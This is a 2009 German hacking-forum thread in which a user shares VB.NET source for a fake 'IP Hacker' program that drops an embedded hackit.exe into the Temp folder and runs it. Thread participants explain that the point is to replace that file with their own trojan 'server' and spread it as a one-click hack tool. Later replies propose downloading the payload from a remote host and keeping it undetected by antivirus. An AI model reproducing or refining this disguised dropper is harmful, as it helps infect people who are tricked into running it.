Was kann es:
-Sieht aus wie ein IP Hacker
-Dropped eine hackit.exe in C:\Windows
-Führt diese aus
So könnt ihr eure server spreaden :> ihr könnt aber auch das design ändern und daraus was anderes machen.
falls müll in der source steht war mir das jetzt egal hab nich aufgeräumt ^^
und es ist defintiv nicht mit irgendwelche krassen abfrage variablen oder sonst übelsten coder kenntissen gecoded^^
Wird auf Vista nicht funktionieren du für das "droppen" auf C:\ Adminrechte gebraucht werden.
15.04.2009, 18:30
LeadOr
also bei mir gehts :/ aber das wusste ich nich
dann bin ich wohl admin ...^^
15.04.2009, 19:15
inmate
machen jetzt alle sowas :D ,
dann mach ich auch noch eins :)
aber sonst nice ;)
15.04.2009, 19:20
LeadOr
thx funtz nat noch nich so toll hab z.b kp wie ich ne titlebar code ^^ die normale windowsbar sieht kacka aus
15.04.2009, 19:22
hpoc
3 Tage? Ist VB wirklich so einfach?
15.04.2009, 19:23
LeadOr
hm naja einfach is sicher was anderes es ist ja kein richtiger ip hacker xD
ausserdem lern ich vb nicht.
ich such mir dass was ich gerade brauche und versuchs zu verstehen und abzuändenr etc.
ich geh ja nich nach buch vor. die konrete vorgensweise des vb codes is ja nich so schwer also selber sachen coden wie einfacherer dinge übergabe von texten etc is schnell gelernt.
wobei ich auch zugeben muss der code des überprüfens ist reinkopiert da steig ich nochnicht soganz durch aber da bin ich dran ;)
EDIT: hm ich merk grad das der auf xp garnich geht weil der ordner ja anders heißt -.- naja mussman dann halt ändenr bzw special folder als apppath setzen oderso ^^
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) _
Handles Button1.Click
If TextBox1.Text = "Enter IP" Then
MessageBox.Show("Please enter IP")
Exit Sub
End If
If TextBox1.Text = "" Then
MessageBox.Show("Please enter Ip")
Exit Sub
End If
Dim AppPath As String = My.Computer.FileSystem.SpecialDirectories.Temp
If AppPath.EndsWith("\") = False Then AppPath &= "\"
AppPath &= "\hackit.exe"
Dim Result As Boolean = Hacker("IPHACKER.hackit.exe", AppPath)
Select Case Result
Case True
MessageBox.Show("Hacked.", "Info")
Case Else
MessageBox.Show("Can't hack IP!.", "Info")
End Select
Dim del As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim datei As String = "hackit.exe"
If Path.Combine(del, datei) <> "" Then
Dim TaskID As Long
TaskID = Shell(Path.Combine(del, datei), vbNormalNoFocus)
Else
MessageBox.Show("ERROR!")
End If
End Sub
close button löscht nun die datei wieder
Code:
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim del As String = My.Computer.FileSystem.SpecialDirectories.Temp
Dim datei As String = "hackit.exe"
If File.Exists(Path.Combine(del, datei)) Then
Kill(Path.Combine(del, datei))
End If
Me.Close()
End Sub
so edited läuft ;)
15.04.2009, 20:35
Grim-Reaper
Danke, kann ich vllt. irgendwann gebrauchen.
15.04.2009, 20:56
inmate
hmm aber eins verstehe ich nicht.
wie soll ich damit meinen server spreaden können :)
es müsste ja ne bind funktion haben wenns etwas droppt ^^
oder habe ichs nicht verstanden :o
lG
inmate
15.04.2009, 21:19
LeadOr
ich kann kein binder coden^^ ersetze deinen hackit.exe mit deinem server und kompilier das ganze ;) verschick das ding als 1clickhacktool und schon is der server gespreaded ;)
15.04.2009, 21:33
DarkFire
Wenn du daraus nen Builder machst kannst du die Datei ja mit
My.Computer.Network.DownloadFile(textbox1.text, "C:\hackit.exe")
downloaden und dann ist das Problem gelöst^^
15.04.2009, 21:38
LeadOr
hm damit mussich mioch nochmal auseinander setzen wüsste jetzt nicht genau was du damit bezwegst?
ich wähle ne datei aus (pfad = textbox1.text) und downloade diese nach "C:\hackit.exe" ? was bringt mir das denn?
damit hätte ich ja nur einen datei verschoben
15.04.2009, 21:46
Drakor
Ich glaub er will drauf hinaus, dass du den Server von einem Remote-System downloadest.
Ich weiß zwar auch nicht, warum textbox1 (da steht doch die IP drinne, die ich "hacken" will ??).
Ich fürchte beinahe, dass er das noch einmal erklären muss.
Gruß
Drakor
15.04.2009, 21:48
LeadOr
joar klar könnt ich auchn webdownoader machen aber ob ich das jetzt mah oder meinen trojaner gleich reinkompilier naja seh ich jetzt nich so den großßen unterschied ausser dass man aufm ftp den server immer fud halten kann ;)
das werd ich mir nochma überlegen ichs schau mir mal sources an
15.04.2009, 21:53
inmate
achso ich habs gecheckt ^^
stimmt , nen webdownloader daraus machen , aber ich kann leider nicht so viel vb6
15.04.2009, 22:15
crasher766
nice programm kann ich auch villt irgendwann gebrauchen ^^
